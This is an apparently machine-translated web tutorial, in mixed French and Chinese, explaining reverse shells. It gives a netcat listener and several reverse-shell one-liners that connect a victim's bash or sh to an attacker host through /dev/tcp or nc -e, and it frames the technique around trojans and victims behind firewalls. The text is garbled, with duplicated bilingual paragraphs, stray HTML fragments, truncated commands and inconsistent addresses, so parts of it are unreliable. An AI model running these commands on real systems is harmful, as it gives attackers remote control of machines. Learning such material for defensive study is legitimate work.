Maison  >  Article  >  Opération et maintenance  >  Que signifie la coque à rebond ?

Que signifie la coque à rebond ?

王林
王林avant
2023-05-11 16:25:206647parcourir

* Déclaration solennelle : Cet article est limité à la discussion technique et au partage, et il est strictement interdit de l'utiliser de manière illégale.

0x00 Avant-propos

Le shell de rebond signifie que l'extrémité de contrôle écoute sur un certain port TCP/UDP, et que l'extrémité contrôlée initie une requête au port et envoie son ligne de commande L'entrée et la sortie vont à l'extrémité du contrôle. shell,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。

通俗点说,反弹shell就是一种反向链接,与正向的ssh等不同,它是在对方电脑执行命令连接到我方的攻击模式,并且这种攻击模式必须搭配远程执行命令漏洞来使用。

为什么要反弹shell? 通常用于被控端因防火墙受限、权限不足、端口被占用等情形。

假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器,这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,sshtelnet等等,都是正向连接。

那么什么情况下正向连接不太好用了呢:

1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。

2.它的ip会动态改变,你不能持续控制。

3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。

4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。

那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹shell

0x01 反弹shell演示

我们用bash远程代码执行漏洞实例来了解一下他的原理

攻击端:10.100.40.5 受害机:192.168.197.136

首先我们需要在攻击端去监听端口,通过这个端口来接收受害机反弹的shell
在攻击端输入命令nc -l 2333

Que signifie la coque à rebond ?

然后在受害机执行命令

bash -i >& /dev/tcp/10.100.40.5/2333 0>&1

Que signifie la coque à rebond ?

我们就发现,在我们的攻击端已经成功出现了我们的受害端的shell,在我们的攻击端就能对受害端来进行下一步操作

Que signifie la coque à rebond ?

例如:

Que signifie la coque à rebond ?

0x02 原理

2.1 反弹shell的命令原理

(1)bash -i

bashlinux的一个比较常见的shell,是许多Linux发行版的默认Shell
-i这个参数的意思是产生交互式的shell

(2)./dev/tcp/ip/port
/dev/tcp|udp/ip/port这个文件是特别特殊的,实际上可以将其看成一个设备(Linux下一切皆文件),其实如果你访问这个文件的位置他是不存在的,如下图:

Que signifie la coque à rebond ?

(3) 但是如果你在一方监听端口的情况下对这个文件进行读写,就能实现与监听端口的服务器的socket通信

我们输出字符到/dev/tcp这个文件中

受害端:

Que signifie la coque à rebond ?

攻击端:

Que signifie la coque à rebond ?

(4) 下面我们在看将输出转移到到受害端,在攻击端继续监听2333端口,并且在攻击端输入内容回车就会出现在受害端。

Que signifie la coque à rebond ?

Que signifie la coque à rebond ?

(5)这样思路就比较清晰了,下面再说交互重定向:

为了实现交互,我们需要把受害者交互式shell

En termes simples, le rebond shell est une sorte de lien inverse. Il est différent du transfert ssh, etc. C'est une attaque qui exécute des commandes sur l'ordinateur de l'autre partie. pour se connecter à notre mode, et ce mode d'attaque doit être utilisé avec une vulnérabilité d'exécution de commande à distance.

Pourquoi rebondir le shell ? Il est généralement utilisé lorsque l'extrémité contrôlée est restreinte par un pare-feu, manque d'autorisations et que le port est occupé.

Supposons que nous attaquions une machine et ouvrons un port sur la machine. L'attaquant se connecte à la machine cible sur sa propre machine. Nous appelons cela une connexion directe. Le bureau à distance, le service web, ssh, telnet, etc., sont tous des connexions directes.

Que signifie la coque à rebond ?Alors dans quelles circonstances la connexion directe n'est-elle pas facile à utiliser :

🎜1. Un client a touché votre cheval de réseau, mais il est dans le LAN et vous ne pouvez pas vous connecter directement. 🎜🎜2. Son ip changera dynamiquement et vous ne pourrez pas le contrôler en permanence. 🎜🎜3. En raison de restrictions telles que les pare-feu, l'autre machine ne peut qu'envoyer des demandes mais ne peut pas recevoir de demandes. 🎜🎜4. On ne sait pas quand la victime sera infectée par des virus, des chevaux de Troie, à quoi ressemble l'environnement réseau de l'autre partie et quand allumer et éteindre l'ordinateur. Par conséquent, il est préférable d'établir un serveur et d'autoriser les programmes malveillants. pour se connecter activement. 🎜
🎜Ensuite, le rebond est facile à comprendre. L'attaquant spécifie le serveur et l'hôte victime se connecte activement au programme serveur de l'attaquant, appelé rebond shell. 🎜🎜Démonstration du shell Rebound 0x01🎜🎜Nous utilisons l'exemple de vulnérabilité d'exécution de code à distance bash pour comprendre son principe🎜
🎜Fin de l'attaque : 10.100.40.5 Machine victime : 192.168.197.136🎜 blockquote >🎜Nous devons d'abord écouter le port du côté de l'attaque et utiliser ce port pour recevoir le shell
rebondi par la machine victime. Entrez la commande nc -l 2333. du côté de l'attaque 🎜🎜Que signifie le shell de rebond🎜🎜Ensuite, exécutez la commande sur la machine victime 🎜
bash -i > /dev/tcp 10.100.40.5/2333
🎜Qu'est-ce que le shell de rebond signifie🎜🎜Nous avons constaté que dans notre extrémité d'attaque, le shell de notre extrémité victime est apparu avec succès, et nous pouvons effectuer l'étape suivante du côté de la victime lors de notre extrémité d'attaque🎜🎜Que signifie la coque de rebond🎜🎜Par exemple : 🎜🎜Que signifie l'obus à rebond🎜🎜0x02 Principe🎜

2.1 Principe de commande de l'obus à rebond

🎜(1)bash -i🎜🎜bash est un shell courant de linux et est utilisé par de nombreuses distributions Linux, le Shell par défaut.
-iCe paramètre signifie générer un shellinteractif🎜🎜(2)./dev/tcp/ip/port/dev/tcp|udp/ip/portCe fichier est très spécial En fait, il peut être considéré comme un périphérique (tout sous le fichier Linux), en fait, si vous accédez à l'emplacement de ce fichier, il n'existe pas, comme indiqué ci-dessous : 🎜🎜Que signifie le shell de rebond🎜🎜(3) Mais si vous lisez et écrivez ce fichier pendant qu'une partie écoute sur le port, vous pouvez obtenir un socketavec le serveur qui écoute sur le port. >Communication🎜🎜Nous extrayons les caractères dans le fichier /dev/tcp🎜🎜Fin de la victime :🎜🎜Que signifie l'obus à rebond🎜🎜Fin de l'attaque : 🎜🎜Que signifie le rebond shell🎜🎜(4) Ensuite, nous envisageons de transférer la sortie vers la victime et continuons à écouter le 2333 port du côté de l'attaque, et dans Si l'attaquant saisit le contenu et appuie sur Entrée, il apparaîtra du côté de la victime. 🎜🎜Que signifie la coque de rebond🎜🎜Que signifie la coque de rebond🎜🎜(5) De cette façon, l'idée sera plus claire, parlons-en l'interaction ci-dessous Direction : 🎜🎜Afin d'obtenir une interaction, nous devons rediriger la sortie du shell interactif de la victime vers la machine d'attaque 🎜🎜Entrez sur la machine de la victime : 🎜
bash -i 🎜Ensuite, nous trouvons ; que quelle que soit la commande entrée, il n'y aura pas d'écho L'écho apparaît et la sortie standard de l'extrémité d'attaque est dirigée vers l'extrémité d'attaque. 🎜🎜🎜🎜<p><img src="https://img.php.cn/upload/article/000/465/014/168379352250437.jpg" alt="Que signifie la coque à rebond ?"></p><p>这样只是回显而已,并没有办法在攻击端直接执行命令。</p><p>(6)所以我们还需要将攻击者输入的指令输入给受害者的<code>bash</code>:</p><pre class="brush:php;toolbar:false">bash -i <p>这样就会做到在攻击端输入命令,回显到受害端:</p><p><img src="https://img.php.cn/upload/article/000/465/014/168379352319852.jpg" alt="Que signifie la coque à rebond ?"></p><p><img src="https://img.php.cn/upload/article/000/465/014/168379352339852.jpg" alt="Que signifie la coque à rebond ?"></p><p>(7)最重要的在与怎么将两个操作结合起来,实现在攻击端输入攻击端输出,我们需要将输出输入都绑定到<code>/dev/tcp</code>这个文件下。</p><p>命令:</p><pre class="brush:php;toolbar:false">bash -i > /dev/tcp/10.100.40.5/2333 0>&1

受害端:

Que signifie la coque à rebond ?

攻击端:

Que signifie la coque à rebond ?

我们发现完全实现了我们的需求,在攻击端执行命令,并且回显,这个命令,做到了输入0是由/dev/tcp/192.168.146.129/2333输入的,也就是攻击机的输入,命令执行的结果1,会输出到/dev/tcp/192.168.156.129/2333上,这就形成了一个回路,实现了我们远程交互式shell的功能。
我们发现还是有一个小问题,我们可以看到,虽然命令执行结果在攻击端回显,但是受害端依然是有命令回显的,
所以我们需要解决这个问题
命令 :

bash -i > /dev/tcp/10.100.40.5/2333 0>&1 2>&1

这样命令就不会回显到受害端了。

Que signifie la coque à rebond ?

就算是错误输出也会输出到攻击端,这样就达到了我们的目的。

Que signifie la coque à rebond ?

2.2 常见反弹shell方法

(1) 方法一

bash -i>& /dev/tcp/10.100.40.5/2333 0& /dev/tcp/10.100.40.5/2333 0<p>这两个几乎是一样的唯一的区别是<code>0>&1</code>和<code>0,其实就是打开方式的不同,而对于这个文件描述符来讲并没有什么区别。</code></p><p>(2) 方法二</p><pre class="brush:php;toolbar:false">bash -i >& /dev/tcp/10.100.40.5/2333 & /dev/tcp/10.100.40.5/2333 0<p>(3) 方法三</p><pre class="brush:php;toolbar:false">exec 5/dev/tcp/192.168.146.129/2333;cat &5 2>&amp1;done
0/dev/tcp/attackerip/4444; sh &196 2>&196

(4) 方法四

nc -e /bin/sh 10.100.40.5 2333

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Cet article est reproduit dans:. en cas de violation, veuillez contacter admin@php.cn Supprimer